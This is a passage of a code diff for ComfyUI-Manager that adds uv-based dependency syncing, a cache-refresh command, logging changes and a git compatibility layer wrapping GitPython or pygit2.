node_pack_paths=node_pack_paths,
base_requirements=collect_base_requirements(comfy_path),
blacklist=cm_global.pip_blacklist,
overrides=cm_global.pip_overrides,
downgrade_blacklist=cm_global.pip_downgrade_blacklist,
)
try:
result = resolver.resolve_and_install()
except UvNotAvailableError:
print("[bold red]uv is not available. Install uv to use this feature.[/bold red]")
raise typer.Exit(1)
if result.success:
collected = result.collected
if collected:
print(
f"[bold green]Resolved {len(collected.requirements)} deps "
f"from {len(collected.sources)} source(s) "
f"(skipped {len(collected.skipped)}).[/bold green]"
)
else:
print("[bold green]Resolution complete (no deps needed).[/bold green]")
else:
print(f"[bold red]Resolution failed: {result.error}[/bold red]")
if result.lockfile and result.lockfile.conflicts and result.collected:
attributed = attribute_conflicts(result.collected.sources, result.lockfile.conflicts)
if attributed:
print("[bold yellow]Conflicting packages (by node pack):[/bold yellow]")
for pkg_name, requesters in sorted(attributed.items()):
print(f" [yellow]{pkg_name}[/yellow]:")
for pack_path, pkg_spec in requesters:
print(f" {os.path.basename(pack_path)} → {pkg_spec}")
raise typer.Exit(1)
@app.command(
"uv-sync",
help="Batch-resolve and install all custom node dependencies via uv pip compile.",
)
def unified_uv_compile(
user_directory: str = typer.Option(
None,
help="user directory"
),
):
cmd_ctx.set_user_directory(user_directory)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
try:
_run_unified_resolve()
except ImportError as e:
print(f"[bold red]Failed to import unified_dep_resolver: {e}[/bold red]")
raise typer.Exit(1)
except typer.Exit:
raise
except Exception as e:
print(f"[bold red]Unexpected error: {e}[/bold red]")
raise typer.Exit(1)
finally:
pip_fixer.fix_broken()
@app.command(help="Clear reserved startup action in ComfyUI-Manager")
def clear():
cancel()
@@ -1292,6 +1489,91 @@ def export_custom_node_ids(
print(f"{x['id']}@unknown", file=output_file)
@app.command("update-cache", help="Force-fetch all remote data and populate local cache (blocking)")
def update_cache(
channel: Annotated[
str,
typer.Option(
show_default=False,
help="Specify the channel"
),
] = None,
user_directory: str = typer.Option(
None,
help="user directory"
),
):
cmd_ctx.set_user_directory(user_directory)
if channel is not None:
cmd_ctx.channel = channel
asyncio.run(_force_update_cache(cmd_ctx.channel))
async def _force_update_cache(channel):
"""Fetch all remote data and save to cache, bypassing pip/offline guards."""
core.refresh_channel_dict()
config = core.get_config()
channel_url = config['channel_url']
os.makedirs(manager_util.cache_dir, exist_ok=True)
failed = []
# Step 1: Fetch channel JSON files directly (bypasses get_data_by_mode pip guard)
filenames = [
"custom-node-list.json",
"extension-node-map.json",
"model-list.json",
"alter-list.json",
"github-stats.json",
]
async def fetch_and_cache(filename):
try:
if config.get('default_cache_as_channel_url'):
uri = f"{channel_url}/{filename}"
else:
uri = f"{core.DEFAULT_CHANNEL}/{filename}"
cache_uri = str(manager_util.simple_hash(uri)) + '_' + filename
cache_uri = os.path.join(manager_util.cache_dir, cache_uri)
json_obj = await manager_util.get_data(uri, silent=True)
with manager_util.cache_lock:
with open(cache_uri, "w", encoding='utf-8') as file:
json.dump(json_obj, file, indent=4, sort_keys=True)
print(f" [CACHED] {filename}")
except Exception as e:
print(f" [bold red][FAILED] {filename}: {e}[/bold red]")
failed.append(filename)
print("Fetching channel data...")
await asyncio.gather(*[fetch_and_cache(f) for f in filenames])
# Step 2: Reload unified_manager with remote mode
# cache_mode='remote' makes cache_mode==False in get_cnr_data,
# which bypasses the dont_wait block and triggers blocking fetch_all()
print("Fetching CNR registry data...")
try:
await unified_manager.reload('remote', dont_wait=False)
except Exception as e:
print(f" [bold red][FAILED] CNR registry: {e}[/bold red]")
failed.append("CNR registry")
# Step 3: Load nightly data (cache files now exist from Step 1)
print("Loading nightly data...")
await unified_manager.load_nightly(channel or 'default', 'cache')
if failed:
print(f"\n[bold red]Cache update incomplete. Failed: {', '.join(failed)}[/bold red]")
sys.exit(1)
else:
print("[bold green]Cache update complete.[/bold green]")
def main():
app()
+34 -5
View File
@@ -6,6 +6,26 @@ from .common import manager_security
from comfy.cli_args import args
# Register server-push feature flag so ComfyUI_frontend (and other clients)
# can detect CSRF-POST backend capability as a semantic contract (vs version
# string parsing). See PR #2818 for context; clients use this flag to decide
# whether to invoke POST state-mutation endpoints. Manager versions prior to
# 4.2.1 do not set this flag — clients should treat its absence as
# 'incompatible with POST-only state-mutation endpoints'.
try:
from comfy_api import feature_flags as _core_feature_flags
_mgr_flags = (
_core_feature_flags.SERVER_FEATURE_FLAGS
.setdefault('extension', {})
.setdefault('manager', {})
)
_mgr_flags['supports_csrf_post'] = True
except ImportError:
# Older ComfyUI core without comfy_api.feature_flags module.
# Manager functions but clients will not observe the flag.
pass
def prestartup():
from . import prestartup_script # noqa: F401
logging.info('[PRE] ComfyUI-Manager')
@@ -15,7 +35,7 @@ def start():
logging.info('[START] ComfyUI-Manager')
from .common import cm_global # noqa: F401
if not args.disable_manager:
if args.enable_manager:
if args.enable_manager_legacy_ui:
try:
from .legacy import manager_server # noqa: F401
@@ -26,7 +46,15 @@ def start():
logging.info("[ComfyUI-Manager] Legacy UI is enabled.")
nodes.EXTENSION_WEB_DIRS['comfyui-manager-legacy'] = os.path.join(os.path.dirname(__file__), 'js')
except Exception as e:
print("Error enabling legacy ComfyUI Manager frontend:", e)
# WI-V: upgraded silent `print` to a proper logging.error with
# traceback so future legacy-UI load failures are visible in
# the log, not swallowed. The original `print` could be lost
# depending on how stdout is captured.
import traceback
logging.error(
"[ComfyUI-Manager] Error enabling legacy frontend: "
f"{type(e).__name__}: {e}\n{traceback.format_exc()}"
)
core = None
else:
from .glob import manager_server # noqa: F401
@@ -42,7 +70,7 @@ def should_be_disabled(fullpath:str) -> bool:
1. Disables the legacy ComfyUI-Manager.
2. The blocklist can be expanded later based on policies.
"""
if not args.disable_manager:
if args.enable_manager:
# In cases where installation is done via a zip archive, the directory name may not be comfyui-manager, and it may not contain a git repository.
# It is assumed that any installed legacy ComfyUI-Manager will have at least 'comfyui-manager' in its directory name.
dir_name = os.path.basename(fullpath).lower()
@@ -55,9 +83,10 @@ def should_be_disabled(fullpath:str) -> bool:
def get_client_ip(request):
peername = request.transport.get_extra_info("peername")
if peername is not None:
host, port = peername
# Grab the first two values - there can be more, ie. with --listen
host, port = peername[:2]
return host
return "unknown"
View File
+17
View File
@@ -0,0 +1,17 @@
from .timestamp_utils import (
current_timestamp,
get_timestamp_for_filename,
get_timestamp_for_path,
get_backup_branch_name,
get_now,
get_unix_timestamp,
)
__all__ = [
'current_timestamp',
'get_timestamp_for_filename',
'get_timestamp_for_path',
'get_backup_branch_name',
'get_now',
'get_unix_timestamp',
]
+14 -8
View File
@@ -11,6 +11,7 @@ from . import manager_util
import requests
import toml
import logging
base_url = "https://api.comfy.org"
@@ -23,7 +24,7 @@ async def get_cnr_data(cache_mode=True, dont_wait=True):
try:
return await _get_cnr_data(cache_mode, dont_wait)
except asyncio.TimeoutError:
print("A timeout occurred during the fetch process from ComfyRegistry.")
logging.info("A timeout occurred during the fetch process from ComfyRegistry.")
return await _get_cnr_data(cache_mode=True, dont_wait=True) # timeout fallback
async def _get_cnr_data(cache_mode=True, dont_wait=True):
@@ -68,7 +69,10 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
form_factor = 'git-linux'
else:
form_factor = 'other'
from comfyui_manager.glob import manager_core
verbose = manager_core.get_config().get('verbose', False)
while remained:
# Add comfyui_version and form_factor to the API request
sub_uri = f'{base_url}/nodes?page={page}&limit=30&comfyui_version={comfyui_ver}&form_factor={form_factor}'
@@ -78,13 +82,13 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
for x in sub_json_obj['nodes']:
full_nodes[x['id']] = x
if page % 5 == 0:
print(f"FETCH ComfyRegistry Data: {page}/{sub_json_obj['totalPages']}")
if page % 5 == 0 and verbose:
logging.info(f"FETCH ComfyRegistry Data: {page}/{sub_json_obj['totalPages']}")
page += 1
time.sleep(0.5)
print("FETCH ComfyRegistry Data [DONE]")
logging.info("FETCH ComfyRegistry Data [DONE]")
for v in full_nodes.values():
if 'latest_version' not in v:
@@ -100,7 +104,7 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
if cache_state == 'not-cached':
return {}
else:
print("[ComfyUI-Manager] The ComfyRegistry cache update is still in progress, so an outdated cache is being used.")
logging.info("[ComfyUI-Manager] The ComfyRegistry cache update is still in progress, so an outdated cache is being used.")
with open(manager_util.get_cache_path(uri), 'r', encoding="UTF-8", errors="ignore") as json_file:
return json.load(json_file)['nodes']
@@ -114,7 +118,7 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
return json_obj['nodes']
except Exception:
res = {}
print("Cannot connect to comfyregistry.")
logging.warning("Cannot connect to comfyregistry.")
finally:
if cache_mode:
is_cache_loading = False
@@ -211,6 +215,7 @@ def read_cnr_info(fullpath):
project = data.get('project', {})
name = project.get('name').strip().lower()
original_name = project.get('name')
# normalize version
# for example: 2.5 -> 2.5.0
@@ -222,6 +227,7 @@ def read_cnr_info(fullpath):
if name and version: # repository is optional
return {
"id": name,
"original_name": original_name,
"version": version,
"url": repository
}
@@ -238,7 +244,7 @@ def generate_cnr_id(fullpath, cnr_id):
with open(cnr_id_path, "w") as f:
return f.write(cnr_id)
except Exception:
print(f"[ComfyUI Manager] unable to create file: {cnr_id_path}")
logging.error(f"[ComfyUI Manager] unable to create file: {cnr_id_path}")
def read_cnr_id(fullpath):
+7 -10
View File
@@ -3,7 +3,7 @@ import os
import logging
from . import manager_util
import toml
import git
from .git_compat import open_repo
# read env vars
@@ -22,7 +22,7 @@ if comfy_base_path is None:
comfy_base_path = comfy_path
channel_list_template_path = os.path.join(manager_util.comfyui_manager_path, 'channels.list.template')
git_script_path = os.path.join(manager_util.comfyui_manager_path, "git_helper.py")
git_script_path = os.path.join(manager_util.comfyui_manager_path, "common", "git_helper.py")
manager_files_path = None
manager_config_path = None
@@ -31,10 +31,9 @@ manager_startup_script_path:str = None
manager_snapshot_path = None
manager_pip_overrides_path = None
manager_pip_blacklist_path = None
manager_components_path = None
manager_batch_history_path = None
def update_user_directory(user_dir):
def update_user_directory(manager_dir):
global manager_files_path
global manager_config_path
global manager_channel_list_path
@@ -42,10 +41,9 @@ def update_user_directory(user_dir):
global manager_snapshot_path
global manager_pip_overrides_path
global manager_pip_blacklist_path
global manager_components_path
global manager_batch_history_path
manager_files_path = os.path.abspath(os.path.join(user_dir, 'default', 'ComfyUI-Manager'))
manager_files_path = manager_dir
if not os.path.exists(manager_files_path):
os.makedirs(manager_files_path)
@@ -61,7 +59,6 @@ def update_user_directory(user_dir):
manager_channel_list_path = os.path.join(manager_files_path, 'channels.list')
manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
manager_components_path = os.path.join(manager_files_path, "components")
manager_util.cache_dir = os.path.join(manager_files_path, "cache")
manager_batch_history_path = os.path.join(manager_files_path, "batch_history")
@@ -73,7 +70,7 @@ def update_user_directory(user_dir):
try:
import folder_paths
update_user_directory(folder_paths.get_user_directory())
update_user_directory(folder_paths.get_system_user_directory("manager"))
except Exception:
# fallback:
@@ -101,8 +98,8 @@ def get_current_comfyui_ver():
def get_comfyui_tag():
try:
with git.Repo(comfy_path) as repo:
return repo.git.describe('--tags')
with open_repo(comfy_path) as repo:
return repo.describe_tags()
except Exception:
return None
+940
View File
@@ -0,0 +1,940 @@
"""
git_compat.py — Compatibility layer for git operations in ComfyUI-Manager.
Wraps either GitPython (`git` module) or `pygit2`, depending on availability
and the CM_USE_PYGIT2 environment variable (set by Desktop 2.0 Launcher).
Exports:
USE_PYGIT2 — bool: which backend is active
GitCommandError — exception class for git command failures
open_repo(path) — returns a repo wrapper object
clone_repo(url, dest, progress=None) — clone a repository
get_comfyui_tag(repo_path) — get describe --tags output
setup_git_environment(git_exe) — configure git executable path
"""
import os
import re
import sys
from abc import ABC, abstractmethod
from collections import deque
from datetime import datetime, timezone, timedelta
# Snapshot of the user's global `http.proxy` (captured before the config
# search path is blanked under the pygit2 backend) so corporate proxy
# settings survive and can be passed explicitly to fetch/clone. None means
# "no proxy".
_HTTP_PROXY = None
def _to_https_url(url):
"""Rewrite an SSH-form git URL to its anonymous HTTPS equivalent.
Handles `git@host:owner/repo(.git)` and `ssh://git@host[:port]/owner/repo(.git)`.
A custom SSH port is dropped — the HTTPS endpoint of a hosting service
lives on the standard port regardless of its SSH port. Leading slashes in
the path part are collapsed so `git@host:/abs/path` does not yield a
double-slash URL. Returns the URL unchanged if it is not SSH-form, so
pygit2 clone/fetch of public repos never requires SSH credentials even
when a repo's own config stores an SSH origin.
"""
if not url:
return url
m = re.match(r"^ssh://git@([^:/]+)(?::\d+)?/(.+)$", url)
if m is None:
m = re.match(r"^git@([^:/]+):(.+)$", url)
if m:
return "https://%s/%s" % (m.group(1), m.group(2).lstrip("/"))
return url
# ---------------------------------------------------------------------------
# Backend selection
# ---------------------------------------------------------------------------
_PYGIT2_REQUESTED = os.environ.get('CM_USE_PYGIT2', '').strip() == '1'
USE_PYGIT2 = _PYGIT2_REQUESTED
if not USE_PYGIT2:
try:
import git as _git
_git.Git().execute(['git', '--version'])
except Exception:
USE_PYGIT2 = True
if USE_PYGIT2:
try:
import pygit2 as _pygit2
except ImportError:
# pygit2 not available either — fall back to GitPython and let it
# fail at the point of use, preserving pre-existing behavior.
USE_PYGIT2 = False
_PYGIT2_REQUESTED = False
import git as _git
else:
# Disable owner validation once at import time.
# Required for Desktop 2.0 standalone installs where repo directories
# may be owned by a different user (e.g., system-installed paths).
# See CVE-2022-24765 for context on this validation.
_pygit2.option(_pygit2.GIT_OPT_SET_OWNER_VALIDATION, 0)
# Snapshot the global http.proxy BEFORE blanking the config search
# path, so a corporate proxy survives and can be passed explicitly
# to clone/fetch below.
try:
_global_cfg = _pygit2.Config.get_global_config()
try:
_HTTP_PROXY = _global_cfg["http.proxy"] or None
except Exception:
_HTTP_PROXY = None
except Exception:
_HTTP_PROXY = None
# Ignore system/global/XDG git config for libgit2 operations. A
# user's global config can carry `insteadOf` rewrites (e.g.
# https->ssh) or credential helpers that force authentication,
# which libgit2 cannot satisfy without a credentials callback
# ("authentication required but no callback set"). The bundled
# pygit2 has no SSH transport, so an SSH rewrite can never succeed;
# blanking the config search path keeps clone/fetch on anonymous
# HTTPS.
try:
from pygit2.enums import ConfigLevel as _ConfigLevel
_cfg_levels = [_ConfigLevel.SYSTEM, _ConfigLevel.XDG, _ConfigLevel.GLOBAL]
except (ImportError, AttributeError):
_cfg_levels = [
_pygit2.GIT_CONFIG_LEVEL_SYSTEM,
_pygit2.GIT_CONFIG_LEVEL_XDG,
_pygit2.GIT_CONFIG_LEVEL_GLOBAL,
]
for _lvl in _cfg_levels:
try:
_pygit2.settings.search_path[_lvl] = ""
except Exception:
pass
if not USE_PYGIT2:
import git as _git
# ---------------------------------------------------------------------------
# Shared exception type
# ---------------------------------------------------------------------------
if USE_PYGIT2:
class GitCommandError(Exception):
"""Stand-in for git.GitCommandError when using pygit2 backend."""
pass
else:
from git import GitCommandError # noqa: F401
# ---------------------------------------------------------------------------
# Banner
# ---------------------------------------------------------------------------
if USE_PYGIT2:
if _PYGIT2_REQUESTED:
print("[ComfyUI-Manager] Using pygit2 backend (CM_USE_PYGIT2=1)")
else:
print("[ComfyUI-Manager] Using pygit2 backend (system git not available)")
else:
print("[ComfyUI-Manager] Using GitPython backend")
# ===================================================================
# Abstract base class
# ===================================================================
class GitRepo(ABC):
"""Abstract interface for git repository operations."""
@property
@abstractmethod
def working_dir(self) -> str: ...
@property
@abstractmethod
def head_commit_hexsha(self) -> str: ...
@property
@abstractmethod
def head_is_detached(self) -> bool: ...
@property
@abstractmethod
def head_commit_datetime(self): ...
@property
@abstractmethod
def active_branch_name(self) -> str: ...
@abstractmethod
def is_dirty(self) -> bool: ...
@abstractmethod
def get_tracking_remote_name(self) -> str: ...
@abstractmethod
def get_remote(self, name: str): ...
@abstractmethod
def has_ref(self, ref_name: str) -> bool: ...
@abstractmethod
def get_ref_commit_hexsha(self, ref_name: str) -> str: ...
@abstractmethod
def get_ref_commit_datetime(self, ref_name: str): ...
@abstractmethod
def list_remotes(self) -> list: ...
@abstractmethod
def get_remote_url(self, index_or_name) -> str: ...
@abstractmethod
def iter_commits_count(self) -> int: ...
@abstractmethod
def symbolic_ref(self, ref: str) -> str: ...
@abstractmethod
def describe_tags(self, exact_match=False): ...
@abstractmethod
def list_tags(self) -> list: ...
@abstractmethod
def list_heads(self) -> list: ...
@abstractmethod
def list_branches(self) -> list: ...
@abstractmethod
def get_head_by_name(self, name: str): ...
@abstractmethod
def head_commit_equals(self, other_commit) -> bool: ...
@abstractmethod
def get_ref_object(self, ref_name: str): ...
@abstractmethod
def stash(self): ...
@abstractmethod
def pull_ff_only(self): ...
@abstractmethod
def reset_hard(self, ref: str): ...
@abstractmethod
def create_backup_branch(self, name: str): ...
@abstractmethod
def checkout(self, ref): ...
@abstractmethod
def checkout_new_branch(self, branch_name: str, start_point: str): ...
@abstractmethod
def submodule_update(self): ...
@abstractmethod
def clear_cache(self): ...
@abstractmethod
def fetch_remote_by_index(self, index): ...
@abstractmethod
def pull_remote_by_index(self, index): ...
@abstractmethod
def close(self): ...
def __enter__(self):
return self
def __exit__(self, *args):
self.close()
# ===================================================================
# Helper types for tag/head/ref proxies
# ===================================================================
class _TagProxy:
"""Mimics a GitPython tag reference: .name and .commit."""
def __init__(self, name, commit_obj):
self.name = name
self.commit = commit_obj
class _HeadProxy:
"""Mimics a GitPython head reference: .name and .commit."""
def __init__(self, name, commit_obj=None):
self.name = name
self.commit = commit_obj
class _RefProxy:
"""Mimics a GitPython ref: .object.hexsha, .object.committed_datetime, .reference.commit."""
def __init__(self, hexsha, committed_datetime, commit_obj=None):
self.object = type('obj', (), {
'hexsha': hexsha,
'committed_datetime': committed_datetime,
})()
self.reference = type('ref', (), {'commit': commit_obj})() if commit_obj is not None else None
class _RemoteProxy:
"""Mimics a GitPython remote: .name, .url, .fetch(), .pull()."""
def __init__(self, name, url, fetch_fn, pull_fn=None):
self.name = name
self.url = url
self._fetch = fetch_fn
self._pull = pull_fn
def fetch(self):
return self._fetch()
def pull(self):
if self._pull is not None:
return self._pull()
raise GitCommandError("pull not supported on this remote")
# ===================================================================
# GitPython wrapper — 1:1 pass-throughs
# ===================================================================
class _GitPythonRepo(GitRepo):
def __init__(self, path):
self._repo = _git.Repo(path)
@property
def working_dir(self):
return self._repo.working_dir
@property
def head_commit_hexsha(self):
return self._repo.head.commit.hexsha
@property
def head_is_detached(self):
return self._repo.head.is_detached
@property
def head_commit_datetime(self):
return self._repo.head.commit.committed_datetime
@property
def active_branch_name(self):
return self._repo.active_branch.name
def is_dirty(self):
return self._repo.is_dirty()
def get_tracking_remote_name(self):
return self._repo.active_branch.tracking_branch().remote_name
def get_remote(self, name):
r = self._repo.remote(name=name)
return _RemoteProxy(r.name, r.url, r.fetch, getattr(r, 'pull', None))
def has_ref(self, ref_name):
return ref_name in self._repo.refs
def get_ref_commit_hexsha(self, ref_name):
return self._repo.refs[ref_name].object.hexsha
def get_ref_commit_datetime(self, ref_name):
return self._repo.refs[ref_name].object.committed_datetime
def list_remotes(self):
return [_RemoteProxy(r.name, r.url, r.fetch, getattr(r, 'pull', None))
for r in self._repo.remotes]
def get_remote_url(self, index_or_name):
if isinstance(index_or_name, int):
return self._repo.remotes[index_or_name].url
return self._repo.remote(name=index_or_name).url
def iter_commits_count(self):
return len(list(self._repo.iter_commits('HEAD')))
def symbolic_ref(self, ref):
return self._repo.git.symbolic_ref(ref)
def describe_tags(self, exact_match=False):
try:
if exact_match:
return self._repo.git.describe('--tags', '--exact-match')
else:
return self._repo.git.describe('--tags')
except Exception:
return None
def list_tags(self):
return [_TagProxy(t.name, t.commit) for t in self._repo.tags]
def list_heads(self):
return [_HeadProxy(h.name, h.commit) for h in self._repo.heads]
def list_branches(self):
return [_HeadProxy(b.name, b.commit) for b in self._repo.branches]
def get_head_by_name(self, name):
head = getattr(self._repo.heads, name)
return _HeadProxy(head.name, head.commit)
def head_commit_equals(self, other_commit):
return self._repo.head.commit == other_commit
def get_ref_object(self, ref_name):
ref = self._repo.refs[ref_name]
try:
ref_commit = ref.reference.commit
except (TypeError, AttributeError):
ref_commit = ref.object
return _RefProxy(
ref.object.hexsha,
ref.object.committed_datetime,
commit_obj=ref_commit,
)
def stash(self):
self._repo.git.stash()
def pull_ff_only(self):
self._repo.git.pull('--ff-only')
def reset_hard(self, ref):
self._repo.git.reset('--hard', ref)
def create_backup_branch(self, name):
self._repo.create_head(name)
def checkout(self, ref):
self._repo.git.checkout(ref)
def checkout_new_branch(self, branch_name, start_point):
self._repo.git.checkout('-b', branch_name, start_point)
def submodule_update(self):
self._repo.git.submodule('update', '--init', '--recursive')
def clear_cache(self):
self._repo.git.clear_cache()
def fetch_remote_by_index(self, index):
self._repo.remotes[index].fetch()
def pull_remote_by_index(self, index):
self._repo.remotes[index].pull()
def close(self):
self._repo.close()
# ===================================================================
# Pygit2 wrapper
# ===================================================================
class _Pygit2Repo(GitRepo):
def __init__(self, path):
repo_path = os.path.abspath(path)
git_dir = os.path.join(repo_path, '.git')
for sub in ['refs/heads', 'refs/tags', 'refs/remotes']:
try:
os.makedirs(os.path.join(git_dir, sub), exist_ok=True)
except OSError:
pass
self._repo = _pygit2.Repository(git_dir)
self._working_dir = repo_path
def _fetch_remote(self, remote, refspecs=None):
"""Fetch *remote* over the preserved proxy, transparently rewriting an
SSH-form origin to anonymous HTTPS in memory.
The bundled pygit2 has no SSH transport, so a stored `git@host:...`
origin would fail with an auth error. When the URL is SSH-form we fetch
through an in-memory anonymous remote over HTTPS, leaving `.git/config`
untouched (no on-disk rewrite).
"""
https_url = _to_https_url(remote.url)
if https_url != remote.url:
anon = self._repo.remotes.create_anonymous(https_url)
anon.fetch(
list(refspecs) if refspecs is not None
else list(remote.fetch_refspecs),
proxy=_HTTP_PROXY,
)
elif refspecs is not None:
remote.fetch(list(refspecs), proxy=_HTTP_PROXY)
else:
remote.fetch(proxy=_HTTP_PROXY)
@property
def working_dir(self):
return self._working_dir
@property
def head_commit_hexsha(self):
return str(self._repo.head.peel(_pygit2.Commit).id)
@property
def head_is_detached(self):
return self._repo.head_is_detached
@property
def head_commit_datetime(self):
commit = self._repo.head.peel(_pygit2.Commit)
ts = commit.commit_time
offset_minutes = commit.commit_time_offset
tz = timezone(timedelta(minutes=offset_minutes))
return datetime.fromtimestamp(ts, tz=tz)
@property
def active_branch_name(self):
ref = self._repo.head.name
if ref.startswith('refs/heads/'):
return ref[len('refs/heads/'):]
return ref
def is_dirty(self):
st = self._repo.status()
for flags in st.values():
if flags == _pygit2.GIT_STATUS_CURRENT:
continue
if flags == _pygit2.GIT_STATUS_IGNORED:
continue
if flags == _pygit2.GIT_STATUS_WT_NEW:
continue
return True
return False
def get_tracking_remote_name(self):
branch = self._repo.branches.get(self.active_branch_name)
if branch is None:
raise GitCommandError("Cannot determine tracking branch: HEAD is detached or branch not found")
upstream = branch.upstream
if upstream is None:
raise GitCommandError(f"No upstream configured for branch '{self.active_branch_name}'")
# upstream.name can be "origin/master" or "refs/remotes/origin/master"
name = upstream.name
if name.startswith('refs/remotes/'):
name = name[len('refs/remotes/'):]
return name.split('/')[0]
def _pull_remote(self, remote):
"""Fetch *remote* and fast-forward the active branch onto its upstream."""
self._fetch_remote(remote)
branch_name = self.active_branch_name
branch = self._repo.branches.get(branch_name)
if branch and branch.upstream:
remote_commit = branch.upstream.peel(_pygit2.Commit)
analysis, _ = self._repo.merge_analysis(remote_commit.id)
if analysis & _pygit2.GIT_MERGE_ANALYSIS_FASTFORWARD:
self._repo.checkout_tree(self._repo.get(remote_commit.id))
branch_ref = self._repo.references.get(f'refs/heads/{branch_name}')
if branch_ref is not None:
branch_ref.set_target(remote_commit.id)
self._repo.head.set_target(remote_commit.id)
def get_remote(self, name):
remote = self._repo.remotes[name]
return _RemoteProxy(remote.name, remote.url,
lambda: self._fetch_remote(remote),
lambda: self._pull_remote(remote))
def has_ref(self, ref_name):
for prefix in [f'refs/remotes/{ref_name}', f'refs/heads/{ref_name}',
f'refs/tags/{ref_name}', ref_name]:
try:
if self._repo.references.get(prefix) is not None:
return True
except Exception:
pass
return False
def _resolve_ref(self, ref_name):
for prefix in [f'refs/remotes/{ref_name}', f'refs/heads/{ref_name}',
f'refs/tags/{ref_name}', ref_name]:
ref = self._repo.references.get(prefix)
if ref is not None:
return ref.peel(_pygit2.Commit)
raise GitCommandError(f"Reference not found: {ref_name}")
def get_ref_commit_hexsha(self, ref_name):
return str(self._resolve_ref(ref_name).id)
def get_ref_commit_datetime(self, ref_name):
commit = self._resolve_ref(ref_name)
ts = commit.commit_time
offset_minutes = commit.commit_time_offset
tz = timezone(timedelta(minutes=offset_minutes))
return datetime.fromtimestamp(ts, tz=tz)
def list_remotes(self):
result = []
for r in self._repo.remotes:
result.append(_RemoteProxy(r.name, r.url,
lambda r=r: self._fetch_remote(r),
lambda r=r: self._pull_remote(r)))
return result
def get_remote_url(self, index_or_name):
if isinstance(index_or_name, int):
remotes = list(self._repo.remotes)
return remotes[index_or_name].url
return self._repo.remotes[index_or_name].url
def iter_commits_count(self):
count = 0
head_commit = self._repo.head.peel(_pygit2.Commit)
visited = set()
queue = deque([head_commit.id])
while queue:
oid = queue.popleft()
if oid in visited:
continue
visited.add(oid)
count += 1
commit = self._repo.get(oid)
if commit is not None:
for parent_id in commit.parent_ids:
if parent_id not in visited:
queue.append(parent_id)
return count
def symbolic_ref(self, ref):
git_dir = self._repo.path
ref_file = os.path.join(git_dir, ref)
if os.path.isfile(ref_file):
with open(ref_file, 'r') as f:
content = f.read().strip()
if content.startswith('ref: '):
return content[5:]
return content
ref_obj = self._repo.references.get(ref)
if ref_obj is not None and ref_obj.type == _pygit2.GIT_REFERENCE_SYMBOLIC:
return ref_obj.target
raise GitCommandError(f"Not a symbolic reference: {ref}")
def describe_tags(self, exact_match=False):
try:
if exact_match:
head_oid = self._repo.head.peel(_pygit2.Commit).id
for ref_name in self._repo.references:
if not ref_name.startswith('refs/tags/'):
continue
ref = self._repo.references.get(ref_name)
if ref is None:
continue
try:
if ref.peel(_pygit2.Commit).id == head_oid:
return ref_name[len('refs/tags/'):]
except Exception:
pass
return None
else:
import math
num_objects = sum(1 for _ in self._repo.odb)
abbrev = max(7, math.ceil(math.log2(max(num_objects, 1)) / 2)) if num_objects > 0 else 7
return self._repo.describe(
describe_strategy=1,
abbreviated_size=abbrev,
)
except Exception:
return None
def list_tags(self):
tags = []
for ref_name in self._repo.references:
if ref_name.startswith('refs/tags/'):
tag_name = ref_name[len('refs/tags/'):]
ref = self._repo.references.get(ref_name)
if ref is not None:
try:
commit = ref.peel(_pygit2.Commit)
commit_obj = type('commit', (), {
'hexsha': str(commit.id),
'committed_datetime': datetime.fromtimestamp(
commit.commit_time,
tz=timezone(timedelta(minutes=commit.commit_time_offset))
),
})()
tags.append(_TagProxy(tag_name, commit_obj))
except Exception:
tags.append(_TagProxy(tag_name, None))
return tags
def list_heads(self):
heads = []
for ref_name in self._repo.references:
if ref_name.startswith('refs/heads/'):
branch_name = ref_name[len('refs/heads/'):]
ref = self._repo.references.get(ref_name)
commit_obj = None
if ref is not None:
try:
commit = ref.peel(_pygit2.Commit)
commit_obj = type('commit', (), {
'hexsha': str(commit.id),
'committed_datetime': datetime.fromtimestamp(
commit.commit_time,
tz=timezone(timedelta(minutes=commit.commit_time_offset))
),
})()
except Exception:
pass
heads.append(_HeadProxy(branch_name, commit_obj))
return heads
def list_branches(self):
return self.list_heads()
def get_head_by_name(self, name):
ref = self._repo.references.get(f'refs/heads/{name}')
if ref is None:
raise AttributeError(f"Head '{name}' not found")
try:
commit = ref.peel(_pygit2.Commit)
commit_obj = type('commit', (), {
'hexsha': str(commit.id),
'committed_datetime': datetime.fromtimestamp(
commit.commit_time,
tz=timezone(timedelta(minutes=commit.commit_time_offset))
),
})()
except Exception:
commit_obj = None
return _HeadProxy(name, commit_obj)
def head_commit_equals(self, other_commit):
head_sha = str(self._repo.head.peel(_pygit2.Commit).id)
if hasattr(other_commit, 'hexsha'):
return head_sha == other_commit.hexsha
return head_sha == str(other_commit)
def get_ref_object(self, ref_name):
commit = self._resolve_ref(ref_name)
hexsha = str(commit.id)
dt = datetime.fromtimestamp(
commit.commit_time,
tz=timezone(timedelta(minutes=commit.commit_time_offset))
)
commit_obj = type('commit', (), {
'hexsha': hexsha,
'committed_datetime': dt,
})()
return _RefProxy(hexsha, dt, commit_obj=commit_obj)
def stash(self):
sig = _pygit2.Signature('comfyui-manager', 'manager@comfy')
self._repo.stash(sig)
def pull_ff_only(self):
branch_name = self.active_branch_name
branch = self._repo.branches.get(branch_name)
if branch is None:
raise GitCommandError(f"Branch '{branch_name}' not found")
upstream = branch.upstream
if upstream is None:
raise GitCommandError(f"No upstream for branch '{branch_name}'")
remote_name = upstream.remote_name
self._fetch_remote(self._repo.remotes[remote_name])
upstream = self._repo.branches.get(branch_name).upstream
if upstream is None:
raise GitCommandError(f"Upstream lost after fetch for '{branch_name}'")
remote_commit = upstream.peel(_pygit2.Commit)
analysis, _ = self._repo.merge_analysis(remote_commit.id)
if analysis & _pygit2.GIT_MERGE_ANALYSIS_UP_TO_DATE:
return
if analysis & _pygit2.GIT_MERGE_ANALYSIS_FASTFORWARD:
self._repo.checkout_tree(self._repo.get(remote_commit.id))
branch_ref = self._repo.references.get(f'refs/heads/{branch_name}')
if branch_ref is not None:
branch_ref.set_target(remote_commit.id)
self._repo.head.set_target(remote_commit.id)
else:
raise GitCommandError("Cannot fast-forward; merge or rebase required")
def reset_hard(self, ref):
commit = None
# Try as hex SHA first
